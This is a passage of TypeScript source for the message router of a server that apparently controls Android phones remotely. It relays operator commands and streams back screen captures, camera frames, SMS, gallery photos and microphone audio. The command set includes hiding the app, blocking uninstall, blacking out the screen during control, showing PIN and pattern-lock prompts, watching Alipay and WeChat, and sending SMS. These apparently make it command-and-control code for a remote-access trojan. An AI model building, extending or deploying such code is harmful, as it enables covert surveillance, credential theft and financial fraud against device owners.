import DeviceManager from '../managers/DeviceManager' import WebClientManager from '../managers/WebClientManager' import { DatabaseService } from './DatabaseService' import Logger from '../utils/Logger' import fs from 'fs' import path from 'path' /** * 控制消息接口 */ export interface ControlMessage { type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' deviceId: string data: any timestamp: number } /** * 操作日志消息接口 */ export interface OperationLogMessage { deviceId: string logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT' content: string extraData?: any timestamp: number } /** * 屏幕数据接口 */ export interface ScreenData { deviceId: string format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY' data: Buffer | string width: number height: number quality: number timestamp: number isLocked?: boolean // 设备锁屏状态 } /** * 摄像头数据接口 */ export interface CameraData { deviceId: string format: 'JPEG' | 'PNG' | 'H264' data: string // base64 encoded data type: 'camera' timestamp: number } /** * 相册图片数据接口(设备发送) */ export interface GalleryImageData { deviceId: string type: 'gallery_image' timestamp: number index: number id: number | string displayName?: string dateAdded?: number mimeType?: string width?: number height?: number size?: number contentUri?: string format: 'JPEG' | 'PNG' data: string // base64 encoded image data } /** * 麦克风音频数据接口(设备发送) */ export interface MicrophoneAudioData { deviceId: string type: 'microphone_audio' timestamp: number audioData: string // base64 encoded audio data sampleRate: number sampleCount: number format: 'PCM' | 'AAC' | 'MP3' | 'WAV' channels: number bitDepth: number } /** * 短信数据接口 */ export interface SmsData { deviceId: string type: 'sms_data' timestamp: number count: number smsList: SmsItem[] } /** * 短信项接口 */ export interface SmsItem { id: number address: string body: string date: number read: boolean type: number // 1: 接收, 2: 发送 } /** * 消息路由服务 - 增强版,包含内存管理 */ export class MessageRouter { private logger: Logger private deviceManager: DeviceManager private webClientManager: WebClientManager private databaseService: DatabaseService // 🔧 新增:服务端内存和数据管理 private screenDataBuffer = new Map() private cameraDataBuffer = new Map() private smsDataBuffer = new Map() private microphoneAudioBuffer = new Map() private readonly maxBufferSize = 10 // 每设备最多缓存10帧 private readonly bufferTimeout = 5000 // 5秒超时清理 private readonly maxDataSize = 2 * 1024 * 1024 // 2MB单帧限制,与Android端保持一致 private lastCleanupTime = 0 private readonly cleanupInterval = 10000 // 10秒清理一次 // 统计信息 private routedFrames = 0 private droppedFrames = 0 private totalDataSize = 0 private routedCameraFrames = 0 private droppedCameraFrames = 0 private totalCameraDataSize = 0 private routedSmsData = 0 private droppedSmsData = 0 private totalSmsDataSize = 0 private routedMicrophoneAudio = 0 private droppedMicrophoneAudio = 0 private totalMicrophoneAudioSize = 0 // ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 private consecutiveBlackFrames = new Map() private captureModeSwitchSent = new Set() // 已发送切换指令的设备,避免重复发送 constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) { this.deviceManager = deviceManager this.webClientManager = webClientManager this.databaseService = databaseService this.logger = new Logger('MessageRouter') // 🔧 启动定期清理任务 this.startPeriodicCleanup() } /** * 🖼️ 发送本地已缓存相册图片给指定Web客户端 */ private sendLocalGalleryToClient(clientId: string, deviceId: string, limit?: number, offset: number = 0): void { try { const imagesDir = path.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId) if (!fs.existsSync(imagesDir)) { this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`) return } // 读取目录下文件,按时间倒序(文件名中包含时间戳: _.jpg|png) const files = fs.readdirSync(imagesDir) .filter(name => name.endsWith('.jpg') || name.endsWith('.png')) .map(name => ({ name, // 提取文件名前缀的时间戳用于排序 ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n })() })) .sort((a, b) => b.ts - a.ts) .slice(offset, limit ? offset + limit : undefined) if (files.length === 0) { this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`) return } this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`) for (const f of files) { const url = `/assets/gallery/${deviceId}/${f.name}` // 最低限度的元数据,前端可直接回显缩略图/原图 const payload = { deviceId, type: 'gallery_image_saved', timestamp: f.ts || Date.now(), index: 0, id: f.name, displayName: f.name, url } this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload) } } catch (err) { this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err) } } /** * 🔧 启动定期清理任务 */ private startPeriodicCleanup() { setInterval(() => { this.performPeriodicCleanup() }, this.cleanupInterval) } /** * 🔧 定期清理过期数据 */ private performPeriodicCleanup() { try { const currentTime = Date.now() let cleanedBuffers = 0 // 清理过期的屏幕数据缓冲区 for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.screenDataBuffer.delete(deviceId) cleanedBuffers++ } } // 清理过期的摄像头数据缓冲区 for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.cameraDataBuffer.delete(deviceId) cleanedBuffers++ } } // 清理过期的短信数据缓冲区 for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.smsDataBuffer.delete(deviceId) cleanedBuffers++ } } // 清理过期的麦克风音频数据缓冲区 for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) { if (currentTime - bufferData.timestamp > this.bufferTimeout) { this.microphoneAudioBuffer.delete(deviceId) cleanedBuffers++ } } if (cleanedBuffers > 0) { this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`) } // 内存使用统计 const memUsage = process.memoryUsage() const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024) // 每分钟记录一次统计 if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) { const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0' const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0' const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0' const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0' this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) } this.lastCleanupTime = currentTime // 🚨 内存使用过高时触发紧急清理 if (memUsageMB > 500) { // 超过500MB时清理 this.performEmergencyCleanup() } } catch (error) { this.logger.error('❌ 定期清理失败:', error) } } /** * 🚨 紧急内存清理 */ private performEmergencyCleanup() { try { this.logger.warn('🚨 触发紧急内存清理') // 清空所有数据缓冲区 const clearedScreenBuffers = this.screenDataBuffer.size const clearedCameraBuffers = this.cameraDataBuffer.size const clearedSmsBuffers = this.smsDataBuffer.size const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size this.screenDataBuffer.clear() this.cameraDataBuffer.clear() this.smsDataBuffer.clear() this.microphoneAudioBuffer.clear() // 建议垃圾回收 if (global.gc) { global.gc() } this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`) } catch (error) { this.logger.error('❌ 紧急清理失败:', error) } } /** * 路由控制消息(从Web客户端到设备) */ routeControlMessage(fromSocketId: string, message: ControlMessage): boolean { console.log(message) try { // 验证消息来源是Web客户端 const webClient = this.webClientManager.getClientBySocketId(fromSocketId) if (!webClient) { this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`) return false } // 检查Web客户端是否有控制权 if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) { // ✅ 降低日志级别,避免控制权切换期间的噪音 this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`) // 向客户端发送权限错误响应 this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'NO_PERMISSION', message: '无控制权限,请先申请设备控制权' }) return false } // 获取目标设备 const device = this.deviceManager.getDevice(message.deviceId) if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) { this.logger.warn(`目标设备不在线: ${message.deviceId}`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'DEVICE_OFFLINE', message: '设备已离线或不存在' }) return false } // 特殊处理摄像头控制消息 if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') { this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证摄像头控制消息的数据格式 if (message.type === 'CAMERA_SWITCH' && message.data) { const cameraType = message.data.cameraType || message.data if (cameraType !== 'front' && cameraType !== 'back') { this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_CAMERA_TYPE', message: '摄像头类型无效,应为 front 或 back' }) return false } this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`) } } // 特殊处理SMS控制消息 if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') { this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证SMS控制消息的数据格式 if (message.type === 'SMS_READ' && message.data) { const limit = message.data.limit if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_LIMIT', message: 'SMS读取限制无效,应为正整数' }) return false } } if (message.type === 'SMS_SEND' && message.data) { const { phoneNumber, message: smsMessage } = message.data if (!phoneNumber || !smsMessage) { this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SMS_SEND_DATA', message: 'SMS发送数据不完整,需要phoneNumber和message' }) return false } this.logger.info(`📱 发送SMS到: ${phoneNumber}`) } } // 特殊处理相册控制消息 if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') { this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证相册控制消息的数据格式 if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) { const { albumId, limit, offset } = message.data if (limit && (typeof limit !== 'number' || limit <= 0)) { this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_LIMIT', message: '相册读取限制无效,应为正整数' }) return false } if (offset && (typeof offset !== 'number' || offset < 0)) { this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_ALBUM_OFFSET', message: '相册读取偏移无效,应为非负整数' }) return false } this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) } // 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备 if (message.type === 'GET_GALLERY') { try { const { limit, offset } = message.data || {} const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0 this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset) } catch (e) { this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e) } // 不转发到设备,直接返回成功 return true } } // 特殊处理服务器地址修改消息 if (message.type === 'CHANGE_SERVER_URL') { this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证服务器地址数据格式 if (message.data && message.data.serverUrl) { const { serverUrl } = message.data if (typeof serverUrl !== 'string' || serverUrl.trim() === '') { this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'INVALID_SERVER_URL', message: '服务器地址无效,应为非空字符串' }) return false } this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`) } else { this.logger.warn(`⚠️ 缺少服务器地址数据`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'MISSING_SERVER_URL', message: '缺少服务器地址数据' }) return false } } // 特殊处理屏幕捕获控制消息 if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') { this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`) } // 获取设备Socket并发送消息 const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId) if (deviceSocketId) { // 通过Socket.IO发送到设备 const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('control_command', message) this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`) return true } } this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`) this.webClientManager.sendToClient(webClient.id, 'control_error', { deviceId: message.deviceId, error: 'DEVICE_DISCONNECTED', message: '设备连接已断开' }) return false } catch (error) { this.logger.error('路由控制消息失败:', error) return false } } /** * 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理 */ routeScreenData(fromSocketId: string, screenData: ScreenData): boolean { try { this.routedFrames++ // this.logger.info('收到屏幕') // 广播设备锁屏状态更新给所有Web客户端 if (screenData.deviceId && this.routedFrames % 20 ==0){ this.webClientManager.broadcastToAll('device_lock_status_update', { deviceId: screenData.deviceId, isLocked: screenData.isLocked?screenData.isLocked:false, timestamp: Date.now() }) } // 🔧 添加屏幕数据大小检查,避免过大数据导致transport error const dataSize = screenData.data instanceof Buffer ? screenData.data.length : (typeof screenData.data === 'string' ? screenData.data.length : 0) this.totalDataSize += dataSize if (dataSize > this.maxDataSize) { // 动态限制 this.droppedFrames++ this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 // 正常480×854 JPEG即使最低质量也远大于此值 const MIN_VALID_FRAME_SIZE = 4000 if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { this.droppedFrames++ // 追踪连续黑帧数(仅记录日志,不触发模式切换) const deviceId = screenData.deviceId const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1 this.consecutiveBlackFrames.set(deviceId, count) if (count % 100 === 1) { this.logger.warn(`过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`) } return false } // 收到有效帧,重置黑帧计数 if (screenData.deviceId) { this.consecutiveBlackFrames.set(screenData.deviceId, 0) } // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(screenData.deviceId) if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) // 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃 this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`) return true } // 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 const existingBuffer = this.screenDataBuffer.get(screenData.deviceId) if (existingBuffer) { // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 30) { // 30ms内的重复数据才去重,配合50ms发送间隔 this.droppedFrames++ this.logger.debug(`[dedup] skip screen data: device=${screenData.deviceId}, interval=${timeDiff}ms`) return false } } // 🔧 更新缓冲区(用于去重和统计) this.screenDataBuffer.set(screenData.deviceId, { data: screenData, timestamp: Date.now() }) // 🧪🧪🧪 特殊检测:识别UI层次结构实验数据 if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') { this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`) // 继续正常处理流程 } // 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理 if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') { this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) try { // 解析UI层次结构数据 const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) // 调用UI层次结构响应处理方法 const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData) this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`) return routeResult } catch (parseError) { this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError) return false } } // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { // ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device) // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端 // 因为Android端可能不会再发送注册请求(认为自己已连接) this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) // 只有在数据库中也找不到时,才使用延迟重试 setTimeout(() => { this.retryRouteScreenData(fromSocketId, screenData, 1) }, 500) return true // 返回true避免client端重试 } } // 确保device不为undefined if (!device) { return false } // 🔧 修复:更新设备的lastSeen时间 - 关键修复! device.lastSeen = new Date() this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) // 🔒 处理设备锁屏状态更新 // if (screenData.isLocked !== undefined) { // const previousLockedState = device.isLocked // device.isLocked = screenData.isLocked // // 如果锁屏状态发生变化,记录日志并广播状态更新 // if (previousLockedState !== screenData.isLocked) { // this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`) // // 广播设备锁屏状态更新给所有Web客户端 // this.webClientManager.broadcastToAll('device_lock_status_update', { // deviceId: device.id, // isLocked: screenData.isLocked, // timestamp: Date.now() // }) // } // } // 控制者已在前面检查过,这里不需要重复检查 // 🔧 添加屏幕数据传输限流和错误处理 try { // 发送屏幕数据到控制客户端 const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { deviceId: device.id, format: screenData.format, data: screenData.data, width: screenData.width, height: screenData.height, quality: screenData.quality, timestamp: screenData.timestamp, isLocked: screenData.isLocked // 包含设备锁屏状态 }) if (!success) { this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`) return false } // 🔧 记录成功传输,用于监控 this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) return true } catch (emitError) { this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError) return false } } catch (error) { this.logger.error('路由屏幕数据失败:', error) return false } } /** * 重试路由屏幕数据 */ private retryRouteScreenData(fromSocketId: string, screenData: ScreenData, retryCount: number): void { const maxRetries = 3 try { // 再次尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device && retryCount <= maxRetries) { // 继续等待并重试 setTimeout(() => { this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1) }, 1000 * retryCount) // 递增延迟:1s, 2s, 3s return } if (!device) { // 最后尝试从数据库查询 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) // 使用数据库中的设备信息创建设备对象并注册到DeviceManager device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } // ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询 this.deviceManager.addDevice(device) // ✅ 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线 this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) } } else { this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) return } } // 设备找到后正常路由 if (device) { this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { deviceId: device.id, format: screenData.format, data: screenData.data, width: screenData.width, height: screenData.height, quality: screenData.quality, timestamp: screenData.timestamp }) if (success) { this.logger.debug(`📺 重试路由成功: ${device.name}`) } } } } catch (error) { this.logger.error('重试路由屏幕数据失败:', error) } } /** * 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现 */ routeCameraData(fromSocketId: string, cameraData: CameraData): boolean { try { this.routedCameraFrames++ // 添加摄像头数据大小检查,避免过大数据导致transport error const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0 this.totalCameraDataSize += dataSize if (dataSize > this.maxDataSize) { // 动态限制 this.droppedCameraFrames++ this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) return false } // 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId) if (!controllerId) { // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`) return true } // 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId) if (existingBuffer) { // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 this.droppedCameraFrames++ this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`) return false } } // 更新缓冲区(用于去重和统计) this.cameraDataBuffer.set(cameraData.deviceId, { data: cameraData, timestamp: Date.now() }) // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) if (!device) { // 立即尝试从数据库恢复设备,而不是延迟处理 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) if (dbDevice) { // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online' as const, inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: (dbDevice as any).remark // 🆕 恢复设备备注 } // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device) // 更新数据库中的设备记录(特别是lastSocketId) try { // 转换设备对象格式以匹配数据库期望的格式 const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities } this.databaseService.saveDevice(deviceForDb, fromSocketId) } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) } // 设备通过摄像头数据恢复后,必须立即通知Web端 this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device) // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }) // 